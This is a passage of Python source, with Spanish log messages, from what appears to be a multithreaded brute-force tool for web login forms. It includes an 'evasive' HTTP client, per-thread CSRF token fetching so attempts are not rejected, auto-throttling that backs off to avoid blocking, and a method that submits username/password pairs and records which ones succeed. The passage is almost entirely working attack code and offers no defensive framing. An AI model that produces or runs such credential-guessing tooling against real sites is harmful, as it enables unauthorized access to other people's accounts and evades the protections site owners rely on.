- Each thread fetches its own CSRF token with its own HTTP session
(_get_thread_form_data), so tokens are never shared between threads.
"""
def __init__(self, config: Dict[str, Any], logger: logging.Logger):
self.config = config
self.logger = logger
self.http_client = EvasiveHttpClient(config, logger)
self.form_analyzer = FormAnalyzer(config, logger)
self.response_analyzer = ResponseAnalyzer(config, logger)
self.credential_loader = CredentialLoader(logger)
self.target_url: Optional[str] = None
self.form_data: Optional[FormData] = None
self.statistics = AttackStatistics()
self.statistics.current_delay = config['delay_between_attempts']
self.found_credentials: List[AttemptResult] = []
self.stop_attack = False
self._stats_lock = threading.Lock()
self._csrf_lock = threading.Lock()
def initialize_target(self, url: str) -> bool:
"""GETs the target URL, captures baseline, and extracts form metadata."""
self.logger.info(f"Inicializando objetivo: {url}")
self.target_url = url
try:
response = self.http_client.request('GET', url)
self.response_analyzer.set_baseline(response)
self.form_data = self.form_analyzer.find_login_form(response.text, url)
if not self.form_data:
self.logger.error("No se encontró formulario de login")
return False
if not self.form_data.is_valid():
self.logger.error("Formulario encontrado pero faltan campos necesarios")
return False
self.logger.info("✓ Objetivo inicializado")
self.logger.info(f" Action URL: {self.form_data.action_url}")
self.logger.info(f" Método: {self.form_data.method.value.upper()}")
self.logger.info(f" Campo usuario: {self.form_data.username_field}")
self.logger.info(f" Campo password: {self.form_data.password_field}")
self.logger.info(f" Campos hidden: {len(self.form_data.hidden_fields)}")
self.logger.info(f" CSRF tokens: {list(self.form_data.csrf_tokens.keys())}")
return True
except Exception as e:
self.logger.error(f"Error inicializando objetivo: {e}")
return False
def _get_thread_form_data(self) -> Tuple[Dict, Dict, str, str, str, HttpMethod]:
"""
Returns a local copy of form metadata plus a fresh CSRF token fetched
by this thread's own HTTP session.
Because CSRF tokens are bound to the server-side session, each thread
must obtain its own token using its own session (threading.local).
The shared self.form_data structure is never written to here.
Returns:
(hidden_fields, csrf_tokens, username_field, password_field, action_url, method)
"""
with self._csrf_lock:
username_field = self.form_data.username_field
password_field = self.form_data.password_field
action_url = self.form_data.action_url
method = self.form_data.method
has_csrf = bool(self.form_data.csrf_tokens)
base_hidden = self.form_data.hidden_fields.copy()
if not has_csrf:
return base_hidden, {}, username_field, password_field, action_url, method
try:
resp = self.http_client.request('GET', self.target_url)
new_form = self.form_analyzer.find_login_form(resp.text, self.target_url)
if new_form and new_form.csrf_tokens:
self.logger.debug(
f"[{threading.current_thread().name}] "
f"CSRF token obtenido: {list(new_form.csrf_tokens.keys())}"
)
return (
new_form.hidden_fields.copy(),
new_form.csrf_tokens,
username_field, password_field, action_url, method,
)
except Exception as e:
self.logger.warning(f"Error obteniendo CSRF por thread: {e}")
return base_hidden, {}, username_field, password_field, action_url, method
def _apply_auto_throttling(self):
"""Doubles the delay after too many consecutive errors. Call inside _stats_lock."""
if not self.config.get('enable_auto_throttling', True):
return
threshold = self.config.get('consecutive_errors_threshold', 5)
if self.statistics.consecutive_errors >= threshold:
old = self.statistics.current_delay
self.statistics.current_delay *= self.config.get('throttle_backoff_multiplier', 2.0)
self.logger.warning(
f"[!] AUTO-THROTTLING: {self.statistics.consecutive_errors} errores. "
f"Delay: {old:.2f}s → {self.statistics.current_delay:.2f}s"
)
self.statistics.consecutive_errors = 0
def try_credential(self, credential: Credential) -> AttemptResult:
"""
Submits a single credential to the login form and scores the response.
Obtains its own CSRF token via _get_thread_form_data (thread-safe).
"""
start = time.time()
try:
hidden, csrf, user_field, pass_field, action_url, method = \
self._get_thread_form_data()
data = hidden.copy()
data.update(csrf)
data[user_field] = credential.username
data[pass_field] = credential.password